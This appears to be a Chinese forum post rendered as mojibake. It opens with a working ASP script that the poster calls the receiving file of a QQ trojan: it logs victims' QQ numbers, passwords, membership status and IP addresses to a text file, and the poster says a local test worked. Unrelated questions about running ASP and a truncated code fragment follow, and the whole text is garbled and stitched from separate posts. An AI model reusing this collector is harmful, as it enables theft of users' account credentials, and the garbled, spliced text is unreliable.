Ê×ÏÈÎÒÃÇ¿´ÏÂÕâ¸ö
<%
strLogFile="qq.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
if QQNumber="" or QQPassWord="" then
response.write "QQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----»áÔ±:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "·¢Ëͳɹ¦!"
%>
Õâ¸öÊÇÒ»¸öQQľÂíµÄ ASPÊÕÐÅÎļþ
ÎÒÔÚ±¾µØ´î½¨IIS Ò³ÃæÂ·¾¶ÊÇhttp://localhost/QQ.asp
¾ÍÄÃhttp://localhost/QQ.asp À´Ëµ ÎҰѵØÖ·ºóÃæ¼ÓÉÏ £¿QQNumber=123456&QQPassWord=123456
Ò²¾ÍÊÇhttp://localhost/QQ.asp£¿QQNumber=123456&QQPassWord=123456
»á×Ô¶¯´´½¨QQ.txt °ÑÊý¾Ýдµ½ QQ.txtÀïÃæ£¬Õâ¸öÎÒ²âÊÔÁË¿ÉÒԳɹ¦µÄ£¡
------------------------------------------------------------------
ÎÒÏëÓÃaspд¸öÒ³ÃæÒÔǰûÓнӴ¥¹ý£¬ÎÒ¿´ÍøÉÏ˵aspµÄÔËÐл·¾³Ö»ÄÜÊÇwindows£¬»¹±ØÐëҪװIIS¡£
Çë½Ì¸÷λ¸ßÊÖ£¬asp»¹ÓÐÆäËûµÄÔËÐл·¾³Âð?
²î²»¶à¾ÍÕâЩÁË£¬¾ÍÊÇIISÒ»¶¨Òª×°ºÃ
»¹ÓÐÒªÊÇÓÃVS2005µÄ»°ºÃÏñ¿ÉÒÔÖ±½ÓÔ ......
ÇëÎÊΪʲôÎÒÕâ¶Î´úÂë¿ÉÒÔÏÔʾÒÑÐ޸ijɹ¦picÎļþ¼ÐÖеÄͼƬ£¬µ«Êµ¼ÊÉÏÎļþ¼ÐÖеÄÎļþÃû³Æ»¹ÊǺúõġ£Íû¸ßÊÖ°ïæ¸Ä¸Ä°¡¡£
<%
Set fs = Server.CreateObject("Scripting.FileSystemObject")
S ......